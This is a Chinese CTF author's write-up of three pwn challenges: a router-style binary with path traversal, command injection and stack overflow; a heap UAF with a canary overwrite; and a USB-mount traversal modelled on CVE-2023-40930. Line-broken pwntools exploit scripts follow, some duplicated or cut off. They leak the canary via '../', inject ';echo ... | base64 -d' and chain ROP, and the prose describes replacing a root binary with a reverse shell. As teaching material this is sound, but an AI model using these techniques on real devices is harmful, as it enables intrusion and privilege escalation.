去年没有招到新的学弟,所以今年又是两个老东西出的题,学长出的GuestBook,而我出的剩下几道。已经大概有一年多没怎么打ctf了。。也不太清楚现在的考点,于是就出了一道Glibc的题,剩下的两道结合了自己一年多搞IOT的经验和一个自己新发现的CVE(CVE-2023-40930),希望大家能玩的开心~
这题有54个解,没猜错的话大家应该都是通过注入做的,这也是预期的一种解法
这题其实是想把几个常见的路由器漏洞合在一道题里,总共有这么几个漏洞:
(1)目录穿越
catCommand中strcat的第二个参数s没有ban掉"..",所以存在目录穿越能够读前面init函数中的canary文件
(2)命令注入
pingCommand函数中存在命令注入:
并且黑名单没有ban单双引号以及"`"所以肯定是能够直接注入获取flag的:
(3)栈溢出
这个其实是一开始设置的预期解,后面web社长pankas指出ping那里没ban单双引号可以注入,但思考很久还是把这两个解法都留着,做一个开放性的题目
catCommand是通过fread从一个文件中读数据然后存到栈上的数组,所以如果这个文件中的数据超过了栈上数组的大小,那么肯定就溢出了
这个思路是源于之前研究过的一个路由器,也有类似的问题:
这里的fgets是把v1这个fd对应的文件中的数据读到栈上,读0x200大小,但其实v11这个数组只有120大小,所以就可能存在溢出。但后面发现其实v1对应的fd是一个存报错信息的文件,貌似不太好控制其中的内容,所以就浅尝辄止了,但也就留存了这么一个思路来放到这个题
具体的解法就是在ping中的system,通过分割符执行echo命令,把padding和rop写到result.txt中,再通过catCommand去读完成溢出劫持到rop
(1)命令注入解法:
注的手法很多,这里就不赘述
(2)栈溢出解法:
(ps:这里通过base64加解码是因为rop中有"\x00"会截断字符串)
这题设计的还是有一定缺陷的,比如指向性太差,一般不会有人考虑栈溢出的解法,然后其实离真实设备还有一定差距,下次如果有机会的话,可以改一个openwrt的docker来出题
这题的描述和EASYBOX的描述都致敬了笔者最近痴迷的一款游戏——The Binding Of Isaac:Rebirth(以撒的结合:重生)
和去年一样的不想出house,而且想出一道表面堆实际栈的题。所以就想到了栈迁移到堆,然后思考如何绕过canary,一般来说canary一般都是泄露,笔者自从2022年的Hgame做过一道chuj学长出的多线程改canary的题就没遇到过直接修改canary来绕过的题了。于是就出了一道给一次任意地址写1字节,直接改fs:0x28的canary本源来绕过的题
存在UAF,所以可以通过unsorted bin泄露libcbase和heapbase,一次任意地址写改fs:0x28的canary,然后通过edit的my_atoi的溢出栈迁移到堆完成利用
这题源于CVE-2023-40930,一个USB挂载目录穿越的漏洞
漏洞介绍:https://gist.github.com/NSnidie/2af70d58426c4563b2f11171379fdd8c
漏洞复现环境搭建:GitHub - NSnidie/CVE-2023-40930: CVE-2023-40930 Repetition Enviroment
简单谈谈这个漏洞,早在几年前就有一个类似的安卓漏洞 CVE-2018-9445,近年也有对日产Xterra车机linux系统USB挂载目录穿越的披露:U盘目录穿越获取车机 SHELL(含模拟环境) (delikely.eu.org)
这几个漏洞有一个共性,就是挂载的目录会通过label字段进行控制。比如我的label字段为"nameless",最后挂载的目录一般就是"/mnt/nameless";但如果挂载的时候对label字段没有很好的限制的话,比如说没有禁掉"..",我的label字段设置为"../nameless",那么就有可能挂载到"/nameless"目录
而且一般处理挂载的是root一类的超级用户进程,挂载过后可能会有对其它进程的调用比如system("/sbin/log"),如果通过这个挂载漏洞,覆盖掉/sbin目录,将log替换为反弹shell到我们的攻击机上,就完成了提权和对目标设备的劫持
这道题就是对整个usb挂载的模拟,vold进程负责把mkudisk进程修改的tmp目录根据提供的label字段进行挂载。正常挂载是到/mnt目录,但是由于没有对label字段进行限制,导致可以目录覆盖,覆盖vold进程最后调用的可执行文件log,完成对flag的泄露
由于label字段没有做严格的限制,导致vold的system存在注入:
赛后询问唯一做出来这题的北邮的纯真师傅,发现他就是这么做的,下面是他分享的exp:
这一年CTF打的比较少了,主要还是在做一些IOT方面的研究,但还是希望这几道题大家能玩的开心~
from
pwn
import
*
import
time
import
base64
context.log_level
=
'debug'
io
=
lambda
: r.interactive()
sl
=
lambda
a: r.sendline(a)
sla
=
lambda
a,b: r.sendlineafter(a,b)
se
=
lambda
a: r.send(a)
sa
=
lambda
a,b: r.sendafter(a,b)
lg
=
lambda
name,data: log.success(name
+
":"
+
hex
(data))
rcu
=
lambda
a: r.recvuntil(a)
def
z():
gdb.attach(r)
time.sleep(
1
)
if
__name__
=
=
'__main__'
:
global
r
global
libc
global
ef
r
=
remote(
"127.0.0.1"
,
9999
)
pop_rdi_ret
=
0x401ce3
system
=
0x401230
sh
=
0x402090
ret
=
0x40101a
sla(
"name:"
,
"nameless"
)
sla(
"$"
,
"CAT"
)
sla(
"view:"
,
"../secret/canary.txt"
)
canary
=
int
(r.recvuntil(
"\n"
,drop
=
True
),
16
)
lg(
"canary"
,canary)
sla(
"$"
,
"PING"
)
payload
=
"a"
*
0x48
+
p64(canary)
+
p64(
0
)
+
p64(pop_rdi_ret)
+
p64(sh)
+
p64(ret)
+
p64(system)
payload
=
base64.b64encode(payload)
print
(
len
(payload))
pd
=
";echo "
+
'"'
pd
+
=
payload
pd
+
=
'" | base64 -d'
sla(
"address:"
,pd)
sla(
"$"
,
"CAT"
)
sla(
"view: "
,
"result.txt"
)
io()
from
pwn
import
*
import
time
import
base64
context.log_level
=
'debug'
io
=
lambda
: r.interactive()
sl
=
lambda
a: r.sendline(a)
sla
=
lambda
a,b: r.sendlineafter(a,b)
se
=
lambda
a: r.send(a)
sa
=
lambda
a,b: r.sendafter(a,b)
lg
=
lambda
name,data: log.success(name
+
":"
+
hex
(data))
rcu
=
lambda
a: r.recvuntil(a)
def
z():
gdb.attach(r)
time.sleep(
1
)
if
__name__
=
=
'__main__'
:
global
r
global
libc
global
ef
r
=
remote(
"127.0.0.1"
,
9999
)
pop_rdi_ret
=
0x401ce3
system
=
0x401230
sh
=
0x402090
ret
=
0x40101a
sla(
"name:"
,
"nameless"
)
sla(
"$"
,
"CAT"
)
sla(
"view:"
,
"../secret/canary.txt"
)
canary
=
int
(r.recvuntil(
"\n"
,drop
=
True
),
16
)
lg(
"canary"
,canary)
sla(
"$"
,
"PING"
)
payload
=
"a"
*
0x48
+
p64(canary)
+
p64(
0
)
+
p64(pop_rdi_ret)
+
p64(sh)
+
p64(ret)
+
p64(system)
payload
=
base64.b64encode(payload)
print
(
len
(payload))
pd
=
";echo "
+
'"'
pd
+
=
payload
pd
+
=
'" | base64 -d'
sla(
"address:"
,pd)
sla(
"$"
,
"CAT"
)
sla(
"view: "
,
"result.txt"
)
io()
from
pwn
import
*
import
time
context.log_level
=
'debug'
io
=
lambda
: r.interactive()
sl
=
lambda
a: r.sendline(a)
sla
=
lambda
a,b: r.sendlineafter(a,b)
se
=
lambda
a: r.send(a)
sa
=
lambda
a,b: r.sendafter(a,b)
lg
=
lambda
name,data: log.success(name
+
":"
+
hex
(data))
rcu
=
lambda
a: r.recvuntil(a)
def
z():
gdb.attach(r)
time.sleep(
1
)
def
cho(num):
sla(
"choice:"
,
str
(num))
def
add(idx,sz,con):
cho(
1
)
sla(
"Idx:"
,
str
(idx))
sla(
"Size:"
,
str
(sz))
sa(
"Content:"
,con)
def
show(idx,choice):
cho(
3
)
sla(
"Your choice:"
,
str
(choice))
sla(
"Idx:"
,
str
(idx))
def
edit(idx,content1,content2):
cho(
2
)
sa(
"Idx:"
,idx)
sa(
"context1: "
,content1)
sa(
"context2: "
,content2)
def
delet(idx):
cho(
4
)
sla(
"Idx:"
,
str
(idx))
if
__name__
=
=
'__main__'
:
global
r
global
libc
global
ef
libc
=
ELF(
"./libc-2.31.so"
)
r
=
remote(
"0.0.0.0"
,
9999
)
ef
=
ELF(
"./pwn"
)
ef.checksec()
add(
0
,
0x100
,
"nameless"
)
add(
1
,
0x100
,
"nameless"
)
add(
2
,
0x100
,
"nameless"
)
add(
3
,
0x100
,
"nameless"
)
add(
4
,
0x100
,
"nameless"
)
add(
5
,
0x100
,
"nameless"
)
for
i
in
range
(
0
,
5
):
delet(i)
show(
3
,
1
)
rcu(
"context: "
)
libcbase
=
u64(r.recv(
6
).ljust(
8
,
'\x00'
))
-
0x1ecbe0
show(
2
,
0
)
rcu(
"context: "
)
heap
=
u64(r.recv(
6
).ljust(
8
,
'\x00'
))
-
0x5d0
lg(
"libcbase"
,libcbase)
lg(
"heap"
,heap)
fsbase
=
libcbase
+
0x1f3540
canary
=
fsbase
+
0x28
leave_ret
=
libcbase
+
0x578c8
target
=
heap
+
0xf60
open
=
libcbase
+
libc.sym[
"open"
]
read
=
libcbase
+
libc.sym[
"read"
]
puts
=
libcbase
+
libc.sym[
"puts"
]
pop_rdi_ret
=
libcbase
+
0x23b6a
pop_rsi_ret
=
libcbase
+
0x2601f
pop_rdx_ret
=
libcbase
+
0x142c92
chunk
=
heap
+
0xa10
pd
=
p64(
0
)
+
p64(pop_rdi_ret)
+
p64(chunk)
+
p64(pop_rsi_ret)
+
p64(
0
)
+
p64(pop_rdx_ret)
+
p64(
0
)
+
p64(
open
)
pd
+
=
p64(pop_rdi_ret)
+
p64(
3
)
+
p64(pop_rsi_ret)
+
p64(chunk)
+
p64(pop_rdx_ret)
+
p64(
0x30
)
+
p64(read)
pd
+
=
p64(pop_rdi_ret)
+
p64(chunk)
+
p64(puts)
add(
6
,
0x150
,
"flag\x00"
)
add(
7
,
0x200
,pd)
edit(
"0"
.ljust(
0x30
,
'\x00'
)
+
p64(target)
+
p64(leave_ret),p64(canary),p64(
0
))
io()
from
pwn
import
*
import
time
context.log_level
=
'debug'
io
=
lambda
: r.interactive()
sl
=
lambda
a: r.sendline(a)
sla
=
lambda
a,b: r.sendlineafter(a,b)
se
=
lambda
a: r.send(a)
sa
=
lambda
a,b: r.sendafter(a,b)
lg
=
lambda
name,data: log.success(name
+
":"
+
hex
(data))
rcu
=
lambda
a: r.recvuntil(a)
def
z():
gdb.attach(r)
time.sleep(
1
)
def
cho(num):
sla(
"choice:"
,
str
(num))
def
add(idx,sz,con):
cho(
1
)
sla(
"Idx:"
,
str
(idx))
sla(
"Size:"
,
str
(sz))
sa(
"Content:"
,con)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2023-10-25 21:14
被Nameless_a编辑
,原因: